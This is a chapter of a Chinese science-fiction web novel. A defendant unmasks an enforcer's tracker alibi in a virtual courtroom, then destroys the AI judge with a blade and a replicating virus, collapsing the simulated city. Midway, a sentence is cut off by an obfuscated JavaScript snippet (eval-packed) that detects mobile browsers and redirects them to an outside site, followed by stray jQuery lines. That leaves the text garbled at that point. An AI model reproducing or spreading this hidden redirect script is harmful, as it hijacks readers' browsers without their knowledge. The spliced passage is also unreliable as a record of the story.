宣黎阳猛地意识到,她被检察官误导了,陷入了惯性思维。
她一直依赖监控视频寻找凶手,但案发现场,除了她们俩和被害人,还有两个人来过,却巧妙地没有出现在那段被截取的监控视频里。
第一个,就是发现尸体的执行队长。贼喊捉贼,这在推理作品中也不是什么新鲜套路。在最古早的侦探小说里,密室杀人的一个常见手法就是,当众人发现死者时,死者其实还活着,直到凶手在混乱之中给予致命一击。
 会采用这种设定来构陷她们吗?执行队长有可能谎报发现尸体的时间点吗?
“辩方请求传唤证人——被害人尸体的第一发现人,执行队长!”宣黎阳大声提出。
法官:“请求有效。”
执行队长走上证人席坐下。
宣黎阳开始询问:“请证人陈述发现尸体的经过。”
执行队长平静地回答:“执行大队每天上午7点准时集合,布置当天的巡逻任务。今天集合时,我发现被害人Z-1967号迟迟未到场且未请假,于是立刻调取了他身上的定位器信号,发现信号轨迹显示他昨天下班后先回到了宿舍,于昨晚23点前离开宿舍前往708号巷,之后信号就一直停留在巷内,未曾移动。”
“我意识到情况异常,立即带领两名执行官赶往708号巷,并于7时30分在巷内深处发现了被害人的尸体。”
宣黎阳追问:“请问证人,你和你带去的两名执行官,能提供从昨晚到发现尸体这段时间的不在场证明吗?”
执行队长似乎早有准备:“我们三人的定位器记录可以证明,昨晚下班后,我们一直待在执行官宿舍,未曾离开。宿舍内的其他执行官也可以为我们作证。今早集合到发现尸体的这段时间,我们三位可以互相作证,你也可以调取沿路的监控摄像头查看。”
宣黎阳开始头脑风暴。死亡时间锁定在昨晚23点到今早7点,执行队长和另外两名执行官有明确的不在场证明,既敢让他们作证,想必相关记录和人证都早已安排妥当,她去查证估计也是白费力气。
但是……好像有哪里不对?
她脑中灵光一闪,抓住了之前忽略的一个细节:“你刚刚说,你们每天是几点集合?”
“早上7点。”执行队长确认。
“今天早上的集合,只有被害人Z-1967号一个人没到吗?”
执行队长愣了一下,随即回答:“是。”
“法官大人!证人的证词存在矛盾!”宣黎阳立刻转向法官,声音提高。
检察官不耐烦地插嘴:“又是哪里有矛盾了?”
宣黎阳条理清晰:“今天早上7点整,正是我和另一位被告在709巷被执行官Z-1988号抓捕的时间!那么执行官Z-1988号本人怎么可能按时赶到早上7点的集合?今天的集合,明明少了两个人才对!除了被害人,还应该有Z-1988号!”
执行队长似乎被问住了,勉强解释道:“这个……Z-1988号后来还是赶到了集合点,并且向我说明了晚到的原因,就是因为来的路上抓捕了你们两位。这也不能完全算没到吧?”
宣黎阳乘胜追击:“那么请问,709巷是执行官Z-1988号从宿舍前往集合点的必经之路吗?”
执行队长犹豫了一下:“据我所知……并不是。”
“那他为什么会在该去集合的时间,不去集合,反而特意绕路跑到709巷去?”宣黎阳抓住了关键点。
执行队长语塞:“这……你得去问他本人。”
宣黎阳注意到一旁检察官的表情开始变得难看起来。
很好!宣黎阳心中振奋。执行官Z-1988号,正是那个出现在现场,却巧妙避开了案发时间段监控的第二个人!监控只截取到她进入709巷就停止了,很明显是检察官故意为之,掩盖了Z-1988号随后出现并抓捕她们的事实。这样看来,这位Z-1988号的嫌疑陡然上升!
“法官大人!辩方请求传唤第二位证人——执行官Z-1988号!”宣黎阳顺势提出请求。
法官似乎思考了一下,才不情愿地同意:“……请求有效。”
执行官Z-1988号迈着沉稳的步伐再次走上证人席,脸上看不出丝毫慌乱。
宣黎阳毫不客气,直接发问:“请证人陈述从昨晚下班后到今天上午的行踪,并提供相应的物证或人证。”
Z-1988号回答得滴水不漏:“昨天下班后,我直接回到了宿舍,一直没有离开。没有人证,因为我喜欢独处。物证就是我的定位器记录,显示我一直在宿舍区域,直到今天早上才离开宿舍前往709巷。”
他主动调出了自己的定位历史记录,光屏上清晰地显示,信号确实在宿舍区停留了一整晚,直到今早才离开。
“那你为什么今天早上7点会在非必经之路的709巷出现?”宣黎阳紧紧逼问。
Z-1988号的回答让宣黎阳差点噎住:“去遛狗。”
宣黎阳以为自己听错了:“……什么?遛狗?”
“对。”Z-1988号一本正经地解释,“我不喜欢人多嘈杂的环境,但很喜欢狗。我养了一只电子狗。我的狗喜欢去709巷和那里的流浪狗玩耍。”
宣黎阳一时无语。她本以为对方会编造一个多么冠冕堂皇的理由,结果居然这么……朴实无华?而且监控视频里确实偶尔有流浪狗出现,这个理由听起来竟然有点合理。
她只能揪着细节不放:“你那个时间点去遛狗,不怕集合迟到吗?”
Z-1988号坦然道:“今天我的狗兴致比较高,多玩了一会儿。而且,抓捕你们两位也耽误了一些时间。我相信队长能够理解。”
“……”
宣黎阳无话可说,挫败地回到了被告席。贩子小声问她:“老板,我们这是……放弃了?”
见宣黎阳一脸愁容,贩子又悄悄道:“可能是我多心哈,但我觉得,遛狗这件事,有些奇怪。”
宣黎阳一愣:“什么意思?”
检察官那边开始做结案陈词。
贩子快速低声解释:“电子狗其实不需要人去遛啊。设定好时间和路线,它们可以自己出去遛自己,到时间就会自己回来的。”
宣黎阳瞳孔猛地一缩,本人非原住民,不知道这事啊:“所以说……”
这个Z-1988号去709巷根本就不是为了遛狗!
宣黎阳在脑海中飞快地整理思路。在杂乱且有流浪猫狗乱窜的公共环境中提前设置延迟杀人装置是有一定失败风险的,那么,假定Z-1988号是凶手,接下来就是推测杀人手法了。
密室杀人,尸体的第一发现人执行队长有不在场证明不是凶手,那就只剩下一种可能——真正的凶手在监控视频开始记录前就已经进入了密室,并且在监控视频结束记录后才离开,这样就不会被拍到。
但是,这个推理与定位器的记录矛盾!前一晚23点进入708巷的定位信号是被害人的,而凶手Z-1988号的定位器信号显示他整晚都在宿舍,直到第二天早上才离开。
除非……定位器根本就不在凶手身上?
如果定位器能取下来,那凶手的作案过程就容易推理出了:
Z-1988号昨晚回到宿舍后,取下了自己的定位器并藏在他的电子狗身上。他本人则悄然离开宿舍,提前潜入708巷埋伏。被害人按约定于23点到达,通过连接管道先去709巷见了贩子,然后返回708巷,并被Z-1988号杀害。
此后,Z-1988号一直躲在708巷内。直到第二天早上,他算准时间前往709巷,接上被设定好程序,将定位器一并带来的电子狗,制造出自己刚从宿舍出发前往709巷的假象。
而他只要把锅甩到那个倒霉的假证贩子身上,一切都水到渠成了本就欲清除这些非法程序,也乐得看见这个结果,只会一起包庇他的罪行,不会深究。
毕竟,什么是正义说了才算。
但是,宣黎阳没有任何直接证据能证明这一切。最好的证明就是监控视频的完整记录,尤其是23点前和7点后的部分,是绝不可能给她的。
她不得不承认,这一局赢了。既然逻辑和证据的路都被堵死,那么,只剩下最后的手段了。
她小声问贩子:“你之前说过,你复制出的程序一旦离开你,你只能让它继续复制,不能再控制或修改了,对吧?”
贩子不明所以:“是啊,怎么了?”
“听着,”宣黎阳眼神锐利起来,“一会儿你等我口令。我让你动手,你就立刻开始最大规模的复制,用上你储存的所有源晶,一点都不要保留!”
“能不能……”
“不能!必须和你上次一样,一滴都不剩!”
贩子虽然懵,但还是咬牙答应下来:“……行!听你的!”
陪审团已经讨论完毕。法官举起了法槌,准备落下。
“等等——!”宣黎阳大喊,“我有重要
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17026642|194447||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
证据要提交给法官大人过目!”
法官:“证据提交环节已经结束了!”
“不是新证据!是已经提交过的证物!我发现了上面有之前被忽略的重大线索!”宣黎阳再次请求。
检察官不满地站起来,大声质疑:“这符合流程吗?”
法官在脑内快速搜检了一番:“……好像……没有明确违反规定……”
宣黎阳立刻对法警道:“请把那份作为证物的伪造通行证拿给我!”
法警看向法官,法官点了点头。通行证被递到了宣黎阳手中。
检察官冷笑一声,但还是按照程序假模假样地询问:“这张假证有什么关于谋杀案的新线索?”
宣黎阳举起那张散发着微光的卡片,对法官道:“真凶算无遗策,但可惜的是,这张假证上隐藏着关于ta的关键信息!法官大人,您坐得太远了,只怕看不清楚细节!”
法官被她说得一头雾水。
宣黎阳诚恳道:“我请求上前,为法官大人您亲自指出问题所在!”
法官犹豫:“交由法警也……”
“不行!宣黎阳态度坚决,“这条线索非常关键,而且隐藏得很深,我不放心交给其他人来指出。况且,流程里也没说不可以吧。”
法官似乎被这胡搅蛮缠弄得有些卡壳,只想快点拍板结束,最终妥协:“……行吧,你上来。”
宣黎阳紧紧握着那张假证,一步步走上台阶,来到那高台之上,自以为在睥睨众人的法官面前。她将假证递了过去。
法官接过卡片,疑惑地问:“线索在哪?”
宣黎阳假意凑近,用手指着卡片上某个毫无意义的区域,同时,她的另一只手背在身后,意念一动——
【碎片刃·E级】
那柄极不稳定、泛着流光的短剑,瞬间凭空出现在她手中!
就是现在!
“动手!”宣黎阳向被告席大喊。
与此同时,她不再伪装,握紧碎片刃,用尽全身力气,朝着近在咫尺的法官猛刺过去!
下方的贩子反应极快,在宣黎阳喊出口令的刹那,将体内储存的所有源晶能量一齐燃烧!
众人还来不及反应,那张被法官拿在手中的假证,如同被注入狂暴能量的病毒源头,猛地膨胀变形!无数扭曲、增殖的代码像黑色的潮水,顺着法官握着卡片的手,疯狂地向上蔓延,瞬间包裹了法官大半个身体!
“警报!遭受未知病毒攻击!启动防御程序!”法官发出了惊怒的电子音。它被病毒包裹的身体爆发出刺目的强光,防御程序试图清除这些恶意代码。
下面的法警和检察官也立刻反应过来,冲向审判席想要救援。
宣黎阳无暇顾及,手中的短剑不顾一切地朝着法官的核心区域连续猛刺!
E级武器结构极其不稳定,每一次攻击都让短剑崩裂出更多的碎片。细小的晶体划伤了她的手臂、脸颊,血液顺着手背流下,又随着她的每一次攻击,与席卷而来的黑色病毒一起贪婪地身体的更深处腐蚀而去。
咔嚓!
随着一声细微却清晰、仿佛玻璃碎裂的声响,碎片刃彻底瓦解。迟来的法警和检察官也爬上了最后一级台阶,怒气冲冲地冲上来要抓捕宣黎阳。但就在他们碰到宣黎阳的前一秒,在短剑瓦解的前一瞬,连续而猛烈的进攻终于的防御程序上撕开了一个至关重要的缺口。
早已蓄势待发的病毒程序,顺着小小的缺口,疯狂涌的核心!
“不——!!!”法官发出了最后的尖锐爆鸣。
刺目的光芒从被病毒层层包裹的核心渗出,试图做最后的挣扎,但无济于事。疯狂的病毒急迫地吞噬本体的源晶能量,并以惊人的速度进行着新一轮规模更大的复制!
很快,黑色的代码潮水般淹没了那团光芒,将其彻底吞噬。抓住宣黎阳的法警身影急速扭曲,连同一旁欲转身逃离的检察官,霎那间化作了虚无的光点,消失了。
随核心熄灭,由它构建和维持的“神川市”以摧枯拉朽之势开始剧烈坍缩!高楼、霓虹、街道、法庭、贫民窟……所有的一切都化作混乱的代码,被吸入那个原本是法官位置的、不断缩小的奇点之中。
最后,伴随着无声的湮灭,整个“神川市”,连的核心,彻底消失无踪。
只剩下宣黎阳的意识漂浮在虚空的黑暗中。
她耳边传来加里医生喜出望外的呼喊:
“醒了!她醒了!快!准备撤离!”